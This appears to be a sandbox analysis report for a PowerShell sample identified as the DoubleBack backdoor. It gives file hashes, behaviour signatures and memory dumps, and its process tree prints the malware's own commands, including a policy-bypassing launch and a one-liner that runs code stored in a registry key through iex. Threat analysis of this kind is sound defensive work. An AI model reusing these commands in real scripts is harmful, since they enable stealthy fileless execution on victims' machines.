Overview

overview

10

Static

static

1728.ps1

windows7_x64

1

1728.ps1

windows10-2004_x64

10

Scan_282.jpg.lnk

windows7_x64

3

Scan_282.jpg.lnk

windows10-2004_x64

10

Resubmissions

02-06-2022 22:15

220602-16kn1abhf3 10

02-06-2022 21:45

220602-1mh13abha3 7

02-06-2022 21:44

220602-1ln6pabgh8 8

02-06-2022 21:40

220602-1jcpwabgh5 10

02-06-2022 21:27

220602-1ay7hsffap 10

Analysis

  • max time kernel
    93s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    02-06-2022 21:27

Sharing

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General

  • Target

    1728.ps1

  • Size

    150KB

  • MD5

    732ac4665887f90ad5d320f0e462fce8

  • SHA1

    31cb6f21e3d2f50713163163d665053f83bb5bb4

  • SHA256

    3efec0b370dfacba1d8a2c9e8563441c6da54ae03925f3f845284d4ea9750731

  • SHA512

    8ec4408765d152108981b68a76c42a352f9c623d74220bbbce392500cb8e618a0bd4ac6e2f05057f8520d195d64c38a834facf5cfcf168546b68e4b0287dd849

Score
10/10
doublebackbackdoor

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

    backdoordoubleback
  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1728.ps1
    1⤵
    • Blocklisted process makes network request
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:884
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "&{$v1='4068';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1044

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/884-139-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/884-143-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/1044-142-0x00007FFE09260000-0x00007FFE09D21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/1044-141-0x00007FFE09260000-0x00007FFE09D21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5052-133-0x00007FFE09260000-0x00007FFE09D21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5052-135-0x00007FFE09260000-0x00007FFE09D21000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/5052-137-0x000001609B390000-0x000001609B39A000-memory.dmp

    Filesize

    40KB

    Download

  • memory/5052-138-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

    Download

  • memory/5052-136-0x00000160FFC19000-0x00000160FFC1F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/5052-134-0x00000160FFC19000-0x00000160FFC1F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/5052-130-0x00000160FF0F0000-0x00000160FF112000-memory.dmp

    Filesize

    136KB

    Download

  • memory/5052-132-0x00000160FFC19000-0x00000160FFC1F000-memory.dmp

    Filesize

    24KB

    Download

  • memory/5052-131-0x00007FFE09260000-0x00007FFE09D21000-memory.dmp

    Filesize

    10.8MB

    Download